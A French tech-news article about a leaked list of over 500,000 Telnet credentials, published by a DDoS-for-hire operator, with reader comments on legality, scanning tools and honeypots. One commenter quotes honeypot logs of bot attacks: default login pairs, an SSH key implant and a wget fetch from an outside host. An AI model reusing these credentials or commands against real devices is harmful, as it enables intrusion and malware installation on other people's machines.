La liste contient l’adresse IP, le nom d’utilisateur et le mot de passe pour se connecter à distance via Telnet, comme le rapporte ZDNet.com. Il est ainsi possible de prendre le contrôle de la machine à distance.
Nos confrères ont pu s’entretenir avec le pirate, qui leur explique que cette base a été construite en « scannant » le Net à la recherche de machines répondant à une demande de connexion Telnet (généralement sur le port 23). Il a ensuite essayé des identifiants par défaut ou des combinaisons faciles à deviner.
ZDNet.com n’a par contre pas tenté de se connecter directement aux machines de la liste, « car cela serait illégal ». Impossible donc d’estimer quel pourcentage d'identifiants était encore valable.
Le pirate explique à nos confrères qu’il a décidé de publier cette liste car il a changé son « business model ». Il propose des services de DDoS à la demande et, plutôt que s’appuyer sur des bots, il est passé à « un nouveau modèle reposant sur la location de serveurs auprès de fournisseurs de services cloud ».
ZDNet.com indique enfin avoir partagé cette liste avec des chercheurs en cybersécurité qui se sont portés volontaire pour contacter les propriétaires des machines concernées.
Commentaires (20)
#1
“Le pirate”, est-ce-que scanner le port telnet sur des routeurs au pif, s’y connecter et essayer les identifiants par défaut, c’est du hack?
J’imagine que oui, mais c’est vraiment très très léger…
#2
S’il y en a 500 000, c’est pas Madame Michue qui peut le faire. Ça demande à mettre en place une infrastructure pour scanner … “tous les IPs”.
#3
Oui
Article 323-1 du code pénal: Le fait d’accéder ou de se maintenir, frauduleusement, dans tout ou partie d’un système de traitement automatisé de données est puni de deux ans d’emprisonnement et de 30000 euros d’amende.
La difficulté technique de l’intrusion n’influe pas sur la légalité de l’acte.
#4
Je parlais pas de ça, plutôt du terme “pirate”.
#5
je crois que la Justice avait répondu à une question un peu subsidiaire, mais qui donne une bonne indication sur où pencherait la balance en cas de procès : voir le cas Bluetouff, où il avait obtenu des fichiers disponibles de façon triviale, mais hébergés dans un endroit où il était “évident” qu’il n’avait pas à être.
#6
Je check.
" />
Merci.
Après je sais que quand j’avais eu des cours sur la sécurité informatique, on ne pouvait pas accéder à un système informatique même si celui-ci était ouvert sur le net et sans mot de passe, on avait trouvé une université je crois.
#7
Ou utiliser ZMap sur un serveur loué pour l’occasion afin de profiter d’une connection largement meilleur que celle à la maison pour boucler le tout en 1h ou 2 ?
#8
C’est comme les recettes de cuisines c’est dans les vieux pots que l’on fait les meilleures soupes…..
une prise de contrôle via telnet, simple, efficace et qui peut faire bcp plus mal vu qu’on attaque le réseau dans sa globalité, les routages de inter Vlans etc… SI c’est sur un cœur réseau yesssssssssss.
Après cela montre qu’il y a encore beaucoup de chemin à parcourir en sécurité dans les entreprises et chez les particuliers. Je serai curieux de savoir si il y a de grosses structures, autant une PMe je peux comprendre, mais chez les gros il y a des ressources tech en SI, en sécurité, des contrats de maintenance, des audits. :)
#9
Il existe déjà des moteurs de recherche qui peuvent pas mal aider pour cibler les IPs a tester
https://www.shodan.io/search?query=telnet
#10
#11
meuuuh non, c’est pour la recherche (comme la chasse à la baleine des Japonais)
#12
Dans le lot, il doit y avoir mon pot de miel (“honeypot”, en anglosaxonien) à la maison puisqu’il répond en telnet (port 23) et SSH (port 22) et accepte tous les logins / mots de passe essayés (souvent root/admin), puis enregistre les commandes tapées (de uname à wget). Bref, une telle base constituée automatiquement va comporter un certain nombre de faux positifs.
PS : Shodan fournit déjà la liste des machines qui répondent en telnet.
#13
Magnifique Stéphane, je pense que je vais me monter ça aussi 
" />
(et merci pour ton blog)
#14
Pour moi le hack c’est quelque chose de difficile à faire techniquement, pas nécessairement illégal.
Le piratage est illégal, mais pas forcément difficile techniquement.
#15
#16
Vérifie si son NAS a le port 23 d’ouvert…
A priori, je n’ai pas le 23 d’ouvert, le pare-feu de mon Syno est activé et je n’ai d’ouvert que les ports pour les services qui m’intéressent (NFS et Cloud par exemple).
J’ai quand même mis en fonction la notification du pare-feu au cas où. Si j’ai des alertes là-dessus, je verrais bien.
#17
C’est très rigolo de regarder ce que tapent les bots. Ce matin :
" />08…
root / root@1234 et admin / 123456 -> écriture dans .ssh/authorized_keys
admin / admin -> wgethttp://parabellum.ddnsgeek.com
root / root ->
ps -ef | grep ‘[Mm]iner’
#18
#19
Y a encore des gens qui utilisent Telnet Oo’ ?
#20
SSH c’est 2006, il faut laisser aux fournisseurs de matériel le temps de se mettre à jour
" />